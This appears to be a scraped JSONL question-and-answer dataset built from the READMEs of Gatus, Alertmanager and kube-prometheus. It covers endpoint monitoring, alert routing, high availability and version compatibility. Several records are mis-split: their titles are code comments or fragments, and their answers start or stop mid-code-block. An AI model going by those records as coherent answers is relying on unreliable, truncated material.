{"id": "gh_142c07e72dcd", "question": "How to: Monitoring an endpoint using DNS queries", "question_body": "About TwiN/gatus", "answer": "Defining a `dns` configuration in an endpoint will automatically mark said endpoint as an endpoint of type DNS:\n```yaml\nendpoints:\n  - name: example-dns-query\n    url: \"8.8.8.8\" # Address of the DNS server to use\n    dns:\n      query-name: \"example.com\"\n      query-type: \"A\"\n    conditions:\n      - \"[BODY] == 93.184.215.14\"\n      - \"[DNS_RCODE] == NOERROR\"\n```\n\nThere are two placeholders that can be used in the conditions for endpoints of type DNS:\n- The placeholder `[BODY]` resolves to the output of the query. For instance, a query of type `A` would return an IPv4.\n- The placeholder `[DNS_RCODE]` resolves to the name associated to the response code returned by the query, such as\n`NOERROR`, `FORMERR`, `SERVFAIL`, `NXDOMAIN`, etc.", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659351"}
{"id": "gh_402f1d70d11b", "question": "How to: Monitoring an endpoint using SSH", "question_body": "About TwiN/gatus", "answer": "You can monitor endpoints using SSH by prefixing `endpoints[].url` with `ssh://`:\n```yaml\nendpoints:\n  # Password-based SSH example\n  - name: ssh-example-password\n    url: \"ssh://example.com:22\" # port is optional. Default is 22.\n    ssh:\n      username: \"username\"\n      password: \"password\"\n    body: |\n      {\n        \"command\": \"echo '{\\\"memory\\\": {\\\"used\\\": 512}}'\"\n      }\n    interval: 1m\n    conditions:\n      - \"[CONNECTED] == true\"\n      - \"[STATUS] == 0\"\n      - \"[BODY].memory.used > 500\"\n\n  # Key-based SSH example\n  - name: ssh-example-key\n    url: \"ssh://example.com:22\" # port is optional. Default is 22.\n    ssh:\n      username: \"username\"\n      private-key: |\n        -----BEGIN RSA PRIVATE KEY-----\n        TESTRSAKEY...\n        -----END RSA PRIVATE KEY-----\n    interval: 1m\n    conditions:\n      - \"[CONNECTED] == true\"\n      - \"[STATUS] == 0\"\n```\n\nyou can also use no authentication to monitor the endpoint by not specifying the username,\npassword and private key fields.\n\n```yaml\nendpoints:\n  - name: ssh-example\n    url: \"ssh://example.com:22\" # port is optional. Default is 22.\n    ssh:\n      username: \"\"\n      password: \"\"\n      private-key: \"\"\n\n    interval: 1m\n    conditions:\n      - \"[CONNECTED] == true\"\n      - \"[STATUS] == 0\"\n```\n\nThe following placeholders are supported for endpoints of type SSH:\n- `[CONNECTED]` resolves to `true` if the SSH connection was successful, `false` otherwise\n- `[STATUS]` resolves the exit code of the command executed on the remote server (e.g. `0` for success)\n- `[BODY]` resolves to the stdout output of the command executed on the remote server\n- `[IP]` resolves to the IP address of the server\n- `[RESPONSE_TIME]` resolves to the time it took to establish the connection and execute the command", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659358"}
{"id": "gh_b5dd5e94d994", "question": "How to: Monitoring an endpoint using STARTTLS", "question_body": "About TwiN/gatus", "answer": "If you have an email server that you want to ensure there are no problems with, monitoring it through STARTTLS\nwill serve as a good initial indicator:\n```yaml\nendpoints:\n  - name: starttls-smtp-example\n    url: \"starttls://smtp.gmail.com:587\"\n    interval: 30m\n    client:\n      timeout: 5s\n    conditions:\n      - \"[CONNECTED] == true\"\n      - \"[CERTIFICATE_EXPIRATION] > 48h\"\n```", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659364"}
{"id": "gh_85918922ba9e", "question": "How to: Monitoring an endpoint using TLS", "question_body": "About TwiN/gatus", "answer": "Monitoring endpoints using SSL/TLS encryption, such as LDAP over TLS, can help detect certificate expiration:\n```yaml\nendpoints:\n  - name: tls-ldaps-example\n    url: \"tls://ldap.example.com:636\"\n    interval: 30m\n    client:\n      timeout: 5s\n    conditions:\n      - \"[CONNECTED] == true\"\n      - \"[CERTIFICATE_EXPIRATION] > 48h\"\n```\n\nIf `endpoints[].body` is set then it is sent and the first 1024 bytes of the response will be in `[BODY]`.\n\nPlaceholder `[STATUS]` as well as the fields `endpoints[].headers`,\n`endpoints[].method` and `endpoints[].graphql` are not supported for TLS endpoints.", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659375"}
{"id": "gh_9ee3b6eed6f8", "question": "How to: Monitoring domain expiration", "question_body": "About TwiN/gatus", "answer": "You can monitor the expiration of a domain with all endpoint types except for DNS by using the `[DOMAIN_EXPIRATION]`\nplaceholder:\n```yaml\nendpoints:\n  - name: check-domain-and-certificate-expiration\n    url: \"https://example.org\"\n    interval: 1h\n    conditions:\n      - \"[DOMAIN_EXPIRATION] > 720h\"\n      - \"[CERTIFICATE_EXPIRATION] > 240h\"\n```\n\n> ⚠ The usage of the `[DOMAIN_EXPIRATION]` placeholder requires Gatus to use RDAP, or as a fallback, send a request to the official IANA WHOIS service\n> [through a library](https://github.com/TwiN/whois) and in some cases, a secondary request to a TLD-specific WHOIS server (e.g. `whois.nic.sh`).\n> To prevent the WHOIS service from throttling your IP address if you send too many requests, Gatus will prevent you from\n> using the `[DOMAIN_EXPIRATION]` placeholder on an endpoint with an interval of less than `5m`.", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659382"}
{"id": "gh_8af76f39f775", "question": "How to: Concurrency", "question_body": "About TwiN/gatus", "answer": "By default, Gatus allows up to 5 endpoints/suites to be monitored concurrently. This provides a balance between performance and resource usage while maintaining accurate response time measurements.\n\nYou can configure the concurrency level using the `concurrency` parameter:\n\n```yaml", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659386"}
{"id": "gh_d462a37750ad", "question": "How to: concurrency: 3", "question_body": "About TwiN/gatus", "answer": "```\n\n**Important considerations:**\n- Higher concurrency can improve monitoring performance when you have many endpoints\n- Conditions using the `[RESPONSE_TIME]` placeholder may be less accurate with very high concurrency due to system resource contention\n- Set to `0` for unlimited concurrency (equivalent to the deprecated `disable-monitoring-lock: true`)\n\n**Use cases for higher concurrency:**\n- You have a large number of endpoints to monitor\n- You want to monitor endpoints at very short intervals (< 5s)\n- You're using Gatus for load testing scenarios\n\n**Legacy configuration:**\nThe `disable-monitoring-lock` parameter is deprecated but still supported for backward compatibility. It's equivalent to setting `concurrency: 0`.", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659393"}
{"id": "gh_9a5eb9c90284", "question": "How to: Reloading configuration on the fly", "question_body": "About TwiN/gatus", "answer": "For the sake of convenience, Gatus automatically reloads the configuration on the fly if the loaded configuration file\nis updated while Gatus is running.\n\nBy default, the application will exit if the updating configuration is invalid, but you can configure\nGatus to continue running if the configuration file is updated with an invalid configuration by\nsetting `skip-invalid-config-update` to `true`.\n\nKeep in mind that it is in your best interest to ensure the validity of the configuration file after each update you\napply to the configuration file while Gatus is running by looking at the log and making sure that you do not see the\nfollowing message:\n```\nThe configuration file was updated, but it is not valid. The old configuration will continue being used.\n```\nFailure to do so may result in Gatus being unable to start if the application is restarted for whatever reason.\n\nI recommend not setting `skip-invalid-config-update` to `true` to avoid a situation like this, but the choice is yours\nto make.\n\n**If you are not using a file storage**, updating the configuration while Gatus is running is effectively\nthe same as restarting the application.\n\n> 📝 Updates may not be detected if the config file is bound instead of the config folder. See [#151](https://github.com/TwiN/gatus/issues/151).", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659402"}
{"id": "gh_28310acffc5c", "question": "How to: Endpoint groups", "question_body": "About TwiN/gatus", "answer": "Endpoint groups are used for grouping multiple endpoints together on the dashboard.\n\n```yaml\nendpoints:\n  - name: frontend\n    group: core\n    url: \"https://example.org/\"\n    interval: 5m\n    conditions:\n      - \"[STATUS] == 200\"\n\n  - name: backend\n    group: core\n    url: \"https://example.org/\"\n    interval: 5m\n    conditions:\n      - \"[STATUS] == 200\"\n\n  - name: monitoring\n    group: internal\n    url: \"https://example.org/\"\n    interval: 5m\n    conditions:\n      - \"[STATUS] == 200\"\n\n  - name: nas\n    group: internal\n    url: \"https://example.org/\"\n    interval: 5m\n    conditions:\n      - \"[STATUS] == 200\"\n\n  - name: random endpoint that is not part of a group\n    url: \"https://example.org/\"\n    interval: 5m\n    conditions:\n      - \"[STATUS] == 200\"\n```\n\nThe configuration above will result in a dashboard that looks like this when sorting by group:\n\n![Gatus Endpoint Groups](.github/assets/endpoint-groups.jpg)", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659408"}
{"id": "gh_ad899c3594b2", "question": "How to: How do I sort by group by default?", "question_body": "About TwiN/gatus", "answer": "Set `ui.default-sort-by` to `group` in the configuration file:\n```yaml\nui:\n  default-sort-by: group\n```\nNote that if a user has already sorted the dashboard by a different field, the default sort will not be applied unless the user\nclears their browser's localstorage.", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659413"}
{"id": "gh_04e2b4c3fdc1", "question": "How to: Exposing Gatus on a custom path", "question_body": "About TwiN/gatus", "answer": "Currently, you can expose the Gatus UI using a fully qualified domain name (FQDN) such as `status.example.org`. However, it does not support path-based routing, which means you cannot expose it through a URL like `example.org/status/`.\n\nFor more information, see https://github.com/TwiN/gatus/issues/88.", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 9647, "answer_score": 10, "has_code": false, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659418"}
{"id": "gh_ae8844457941", "question": "How to: Exposing Gatus on a custom port", "question_body": "About TwiN/gatus", "answer": "By default, Gatus is exposed on port `8080`, but you may specify a different port by setting the `web.port` parameter:\n```yaml\nweb:\n  port: 8081\n```\n\nIf you're using a PaaS like Heroku that doesn't let you set a custom port and exposes it through an environment\nvariable instead see [Use environment variables in config files](#use-environment-variables-in-config-files).", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659422"}
{"id": "gh_691d54e5f3c4", "question": "How to: Use environment variables in config files", "question_body": "About TwiN/gatus", "answer": "You can use environment variables directly in the configuration file which will be substituted from the environment:\n```yaml\nweb:\n  port: ${PORT}\n\nui:\n  title: $TITLE\n```\n⚠️ When your configuration parameter contains a `$` symbol, you have to escape `$` with `$$`.", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659428"}
{"id": "gh_f736c5413e07", "question": "How to: Configuring a startup delay", "question_body": "About TwiN/gatus", "answer": "If, for any reason, you need Gatus to wait for a given amount of time before monitoring the endpoints on application start, you can use the `GATUS_DELAY_START_SECONDS` environment variable to make Gatus sleep on startup.", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 9647, "answer_score": 10, "has_code": false, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659433"}
{"id": "gh_3b1400c0768f", "question": "How to: Keeping your configuration small", "question_body": "About TwiN/gatus", "answer": "While not specific to Gatus, you can leverage YAML anchors to create a default configuration.\nIf you have a large configuration file, this should help you keep things clean.\nExample\n```yaml\ndefault-endpoint: &defaults\n  group: core\n  interval: 5m\n  client:\n    insecure: true\n    timeout: 30s\n  conditions:\n    - \"[STATUS] == 200\"\n\nendpoints:\n  - name: anchor-example-1\n    <<: *defaults               # This will merge the configuration under &defaults with this endpoint\n    url: \"https://example.org\"\n\n  - name: anchor-example-2\n    <<: *defaults\n    group: example              # This will override the group defined in &defaults\n    url: \"https://example.com\"\n\n  - name: anchor-example-3\n    <<: *defaults\n    url: \"https://twin.sh/health\"\n    conditions:                # This will override the conditions defined in &defaults\n      - \"[STATUS] == 200\"\n      - \"[BODY].status == UP\"\n```", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659439"}
{"id": "gh_adac514c369b", "question": "How to: Proxy client configuration", "question_body": "About TwiN/gatus", "answer": "You can configure a proxy for the client to use by setting the `proxy-url` parameter in the client configuration.\n\n```yaml\nendpoints:\n  - name: website\n    url: \"https://twin.sh/health\"\n    client:\n      proxy-url: http://proxy.example.com:8080\n    conditions:\n      - \"[STATUS] == 200\"\n```", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659444"}
{"id": "gh_bd6f1459cd39", "question": "How to: How to fix 431 Request Header Fields Too Large error", "question_body": "About TwiN/gatus", "answer": "Depending on where your environment is deployed and what kind of middleware or reverse proxy sits in front of Gatus,\nyou may run into this issue. This could be because the request headers are too large, e.g. big cookies.\n\nBy default, `web.read-buffer-size` is set to `8192`, but increasing this value like so will increase the read buffer size:\n```yaml\nweb:\n  read-buffer-size: 32768\n```", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659449"}
{"id": "gh_425ca59fb114", "question": "How to: Installing as binary", "question_body": "About TwiN/gatus", "answer": "You can download Gatus as a binary using the following command:\n```\ngo install github.com/TwiN/gatus/v5@latest\n```", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659463"}
{"id": "gh_721e56adab0d", "question": "How to: High level design overview", "question_body": "About TwiN/gatus", "answer": "![Gatus diagram](.github/assets/gatus-diagram.jpg)", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 9647, "answer_score": 10, "has_code": false, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659467"}
{"id": "gh_a80b73826e60", "question": "How to: Precompiled binaries", "question_body": "About prometheus/alertmanager", "answer": "Precompiled binaries for released versions are available in the\n[*download* section](https://prometheus.io/download/)\non [prometheus.io](https://prometheus.io). Using the latest production release binary\nis the recommended way of installing Alertmanager.", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 8301, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus/alertmanager", "collected_at": "2026-01-17T13:02:09.093160"}
{"id": "gh_7700003b9420", "question": "How to: Docker images", "question_body": "About prometheus/alertmanager", "answer": "Docker images are available on [Quay.io](https://quay.io/repository/prometheus/alertmanager) or [Docker Hub](https://hub.docker.com/r/prom/alertmanager/).\n\nYou can launch an Alertmanager container for trying it out with\n\n    $ docker run --name alertmanager -d -p 127.0.0.1:9093:9093 quay.io/prometheus/alertmanager\n\nAlertmanager will now be reachable at http://localhost:9093/.", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 8301, "answer_score": 10, "has_code": true, "url": "https://github.com/prometheus/alertmanager", "collected_at": "2026-01-17T13:02:09.093174"}
{"id": "gh_db62f0f40431", "question": "How to: Compiling the binary", "question_body": "About prometheus/alertmanager", "answer": "You can either `go install` it:\n\n```\n$ go install github.com/prometheus/alertmanager/cmd/...@latest", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 8301, "answer_score": 10, "has_code": true, "url": "https://github.com/prometheus/alertmanager", "collected_at": "2026-01-17T13:02:09.093181"}
{"id": "gh_b982f807f644", "question": "How to: cd $GOPATH/src/github.com/prometheus/alertmanager", "question_body": "About prometheus/alertmanager", "answer": "$ alertmanager --config.file=\n```\n\nOr clone the repository and build manually:\n\n```\n$ mkdir -p $GOPATH/src/github.com/prometheus\n$ cd $GOPATH/src/github.com/prometheus\n$ git clone https://github.com/prometheus/alertmanager.git\n$ cd alertmanager\n$ make build\n$ ./alertmanager --config.file=\n```\n\nYou can also build just one of the binaries in this repo by passing a name to the build function:\n```\n$ make build BINARIES=amtool\n```", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 8301, "answer_score": 10, "has_code": true, "url": "https://github.com/prometheus/alertmanager", "collected_at": "2026-01-17T13:02:09.093188"}
{"id": "gh_72a28e6c1e8d", "question": "How to: The root route on which each incoming alert enters.", "question_body": "About prometheus/alertmanager", "answer": "route:\n  # The root route must not have any matchers as it is the entry point for\n  # all alerts. It needs to have a receiver configured so alerts that do not\n  # match any of the sub-routes are sent to someone.\n  receiver: 'team-X-mails'\n\n  # The labels by which incoming alerts are grouped together. For example,\n  # multiple alerts coming in for cluster=A and alertname=LatencyHigh would\n  # be batched into a single group.\n  #\n  # To aggregate by all possible labels use '...' as the sole label name.\n  # This effectively disables aggregation entirely, passing through all\n  # alerts as-is. This is unlikely to be what you want, unless you have\n  # a very low alert volume or your upstream notification system performs\n  # its own grouping. Example: group_by: [...]\n  group_by: ['alertname', 'cluster']\n\n  # When a new group of alerts is created by an incoming alert, wait at\n  # least 'group_wait' to send the initial notification.\n  # This way ensures that you get multiple alerts for the same group that start\n  # firing shortly after another are batched together on the first\n  # notification.\n  group_wait: 30s\n\n  # When the first notification was sent, wait 'group_interval' to send a batch\n  # of new alerts that started firing for that group.\n  group_interval: 5m\n\n  # If an alert has successfully been sent, wait 'repeat_interval' to\n  # resend them.\n  repeat_interval: 3h\n\n  # All the above attributes are inherited by all child routes and can\n  # overwritten on each.\n\n  # The child route trees.\n  routes:\n  # This route performs a regular expression match on alert labels to\n  # catch alerts that are related to a list of services.\n  - matchers:\n    - service=~\"^(foo1|foo2|baz)$\"\n    receiver: team-X-mails\n\n    # The service has a sub-route for critical alerts, any alerts\n    # that do not match, i.e. severity != critical, fall-back to the\n    # parent node and are sent to 'team-X-mails'\n    routes:\n    - matchers:\n      - severity=\"critical\"\n      receiver: team-X-pager\n\n  - matchers:\n    - service=\"files\"\n    receiver: team-Y-mails\n\n    routes:\n    - matchers:\n      - severity=\"critical\"\n      receiver: team-Y-pager\n\n  # This route handles all alerts coming from a database service. If there's\n  # no team to handle it, it defaults to the DB team.\n  - matchers:\n    - service=\"database\"\n\n    receiver: team-DB-pager\n    # Also group alerts by affected database.\n    group_by: [alertname, cluster, database]\n\n    routes:\n    - matchers:\n      - owner=\"team-X\"\n      receiver: team-X-pager\n\n    - matchers:\n      - owner=\"team-Y\"\n      receiver: team-Y-pager", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 8301, "answer_score": 10, "has_code": true, "url": "https://github.com/prometheus/alertmanager", "collected_at": "2026-01-17T13:02:09.093207"}
{"id": "gh_e3f94ec281dc", "question": "How to: already critical.", "question_body": "About prometheus/alertmanager", "answer": "inhibit_rules:\n- source_matchers:\n    - severity=\"critical\"\n  target_matchers:\n    - severity=\"warning\"\n  # Apply inhibition if the alertname is the same.\n  # CAUTION: \n  #   If all label names listed in `equal` are missing \n  #   from both the source and target alerts,\n  #   the inhibition rule will apply!\n  equal: ['alertname']\n\nreceivers:\n- name: 'team-X-mails'\n  email_configs:\n  - to: 'team-X+alerts@example.org, team-Y+alerts@example.org'\n\n- name: 'team-X-pager'\n  email_configs:\n  - to: 'team-X+alerts-critical@example.org'\n  pagerduty_configs:\n  - routing_key:\n- name: 'team-Y-mails'\n  email_configs:\n  - to: 'team-Y+alerts@example.org'\n\n- name: 'team-Y-pager'\n  pagerduty_configs:\n  - routing_key:\n- name: 'team-DB-pager'\n  pagerduty_configs:\n  - routing_key:\n```", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 8301, "answer_score": 10, "has_code": true, "url": "https://github.com/prometheus/alertmanager", "collected_at": "2026-01-17T13:02:09.093218"}
{"id": "gh_9b24e81bdf54", "question": "How to: Configuration", "question_body": "About prometheus/alertmanager", "answer": "`amtool` allows a configuration file to specify some options for convenience. The default configuration file paths are `$HOME/.config/amtool/config.yml` or `/etc/amtool/config.yml`\n\nAn example configuration file might look like the following:\n\n```", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 8301, "answer_score": 10, "has_code": true, "url": "https://github.com/prometheus/alertmanager", "collected_at": "2026-01-17T13:02:09.093234"}
{"id": "gh_fe807b933873", "question": "How to: View routing tree of remote Alertmanager", "question_body": "About prometheus/alertmanager", "answer": "$ amtool config routes --alertmanager.url=http://localhost:9090", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 8301, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus/alertmanager", "collected_at": "2026-01-17T13:02:09.093243"}
{"id": "gh_7c530443b470", "question": "How to: Test if alert matches expected receiver", "question_body": "About prometheus/alertmanager", "answer": "$ amtool config routes test --config.file=doc/examples/simple.yml --tree --verify.receivers=team-X-pager service=database owner=team-X\n```", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 8301, "answer_score": 10, "has_code": true, "url": "https://github.com/prometheus/alertmanager", "collected_at": "2026-01-17T13:02:09.093249"}
{"id": "gh_b901a8640318", "question": "How to: High Availability", "question_body": "About prometheus/alertmanager", "answer": "Alertmanager's high availability is in production use at many companies and is enabled by default.\n\n> Important: Both UDP and TCP are needed in alertmanager 0.15 and higher for the cluster to work.\n>  - If you are using a firewall, make sure to whitelist the clustering port for both protocols.\n>  - If you are running in a container, make sure to expose the clustering port for both protocols.\n\nTo create a highly available cluster of the Alertmanager the instances need to\nbe configured to communicate with each other. This is configured using the\n`--cluster.*` flags.\n\n- `--cluster.listen-address` string: cluster listen address (default \"0.0.0.0:9094\"; empty string disables HA mode)\n- `--cluster.advertise-address` string: cluster advertise address\n- `--cluster.peer` value: initial peers (repeat flag for each additional peer)\n- `--cluster.peer-timeout` value: peer timeout period (default \"15s\")\n- `--cluster.peers-resolve-timeout` value: peers resolve timeout period (default \"15s\")\n- `--cluster.gossip-interval` value: cluster message propagation speed\n  (default \"200ms\")\n- `--cluster.pushpull-interval` value: lower values will increase\n  convergence speeds at expense of bandwidth (default \"1m0s\")\n- `--cluster.settle-timeout` value: maximum time to wait for cluster\n  connections to settle before evaluating notifications.\n- `--cluster.tcp-timeout` value: timeout value for tcp connections, reads and writes (default \"10s\")\n- `--cluster.probe-timeout` value: time to wait for ack before marking node unhealthy\n  (default \"500ms\")\n- `--cluster.probe-interval` value: interval between random node probes (default \"1s\")\n- `--cluster.reconnect-interval` value: interval between attempting to reconnect to lost peers (default \"10s\")\n- `--cluster.reconnect-timeout` value: length of time to attempt to reconnect to a lost peer (default: \"6h0m0s\")\n- `--cluster.label` value: the label is an optional string to include on each packet and stream. It uniquely identifies the cluster and prevents cross-communication issues when sending gossip messages (default:\"\")\n\nThe chosen port in the `cluster.listen-address` flag is the port that needs to be\nspecified in the `cluster.peer` flag of the other peers.\n\nThe `cluster.advertise-address` flag is required if the instance doesn't have\nan IP address that is part of [RFC 6890](https://tools.ietf.org/html/rfc6890)\nwith a default route.\n\nTo start a cluster of three peers on your local machine use [`goreman`](https://github.com/mattn/goreman) and the\nProcfile within this repository.\n\n\tgoreman start\n\nTo point your Prometheus 1.4, or later, instance to multiple Alertmanagers, configure them\nin your `prometheus.yml` configuration file, for example:\n\n```yaml\nalerting:\n  alertmanagers:\n  - static_configs:\n    - targets:\n      - alertmanager1:9093\n      - alertmanager2:9093\n      - alertmanager3:9093\n```\n\n> Important: Do not load balance traffic between Prometheus and its Alertmanagers, but instead point Prometheus to a list of all Alertmanagers. The Alertmanager implementation expects all alerts to be sent to all Alertmanagers to ensure high availability.", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 8301, "answer_score": 10, "has_code": true, "url": "https://github.com/prometheus/alertmanager", "collected_at": "2026-01-17T13:02:09.093261"}
{"id": "gh_665726fcf649", "question": "How to: Turn off high availability", "question_body": "About prometheus/alertmanager", "answer": "If running Alertmanager in high availability mode is not desired, setting `--cluster.listen-address=` prevents Alertmanager from listening to incoming peer requests.", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 8301, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus/alertmanager", "collected_at": "2026-01-17T13:02:09.093267"}
{"id": "gh_de65d4465a24", "question": "How to: Contributing", "question_body": "About prometheus/alertmanager", "answer": "Check the [Prometheus contributing page](https://github.com/prometheus/prometheus/blob/main/CONTRIBUTING.md).\n\nTo contribute to the user interface, refer to [ui/app/CONTRIBUTING.md](ui/app/CONTRIBUTING.md).", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 8301, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus/alertmanager", "collected_at": "2026-01-17T13:02:09.093272"}
{"id": "gh_61cc2bcd831d", "question": "How to: Prerequisites", "question_body": "About prometheus-operator/kube-prometheus", "answer": "You will need a Kubernetes cluster, that's it! By default it is assumed, that the kubelet uses token authentication and authorization, as otherwise Prometheus needs a client certificate, which gives it full access to the kubelet, rather than just the metrics. Token authentication and authorization allows more fine grained and easier access control.\n\nThis means the kubelet configuration must contain these flags:\n\n* `--authentication-token-webhook=true` This flag enables, that a `ServiceAccount` token can be used to authenticate against the kubelet(s). This can also be enabled by setting the kubelet configuration value `authentication.webhook.enabled` to `true`.\n* `--authorization-mode=Webhook` This flag enables, that the kubelet will perform an RBAC request with the API to determine, whether the requesting entity (Prometheus in this case) is allowed to access a resource, in specific for this project the `/metrics` endpoint. This can also be enabled by setting the kubelet configuration value `authorization.mode` to `Webhook`.\n\nThis stack provides [resource metrics](https://github.com/kubernetes/metrics#resource-metrics-api) by deploying\nthe [Prometheus Adapter](https://github.com/kubernetes-sigs/prometheus-adapter).\nThis adapter is an Extension API Server and Kubernetes needs to be have this feature enabled, otherwise the adapter has\nno effect, but is still deployed.", "tags": ["prometheus-operator"], "source": "github_gists", "category": "prometheus-operator", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7553, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus-operator/kube-prometheus", "collected_at": "2026-01-17T13:02:11.381878"}
{"id": "gh_efb22a2d7283", "question": "How to: Compatibility", "question_body": "About prometheus-operator/kube-prometheus", "answer": "The following Kubernetes versions are supported and work as we test against these versions in their respective branches. But note that other versions might work!\n\n> [!NOTE]\n> In CI we will be testing only last two releases and main branch on a regular basis.\n\n| kube-prometheus stack                                                                      | Kubernetes 1.29 | Kubernetes 1.30 | Kubernetes 1.31 | Kubernetes 1.32 | Kubernetes 1.33 | Kubernetes 1.34 |\n|--------------------------------------------------------------------------------------------|-----------------|-----------------|-----------------|-----------------|-----------------|-----------------|\n| [`release-0.14`](https://github.com/prometheus-operator/kube-prometheus/tree/release-0.14) | ✔               | ✔               | ✔               | x               | x               | x               |\n| [`release-0.15`](https://github.com/prometheus-operator/kube-prometheus/tree/release-0.15) | x               | x               | ✔               | ✔               | ✔               | x               |\n| [`release-0.16`](https://github.com/prometheus-operator/kube-prometheus/tree/release-0.16) | x               | x               | ✔               | ✔               | ✔               | ✔               |\n| [`main`](https://github.com/prometheus-operator/kube-prometheus/tree/main)                 | x               | x               | x               | ✔               | ✔               | ✔               |", "tags": ["prometheus-operator"], "source": "github_gists", "category": "prometheus-operator", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7553, "answer_score": 10, "has_code": true, "url": "https://github.com/prometheus-operator/kube-prometheus", "collected_at": "2026-01-17T13:02:11.381899"}
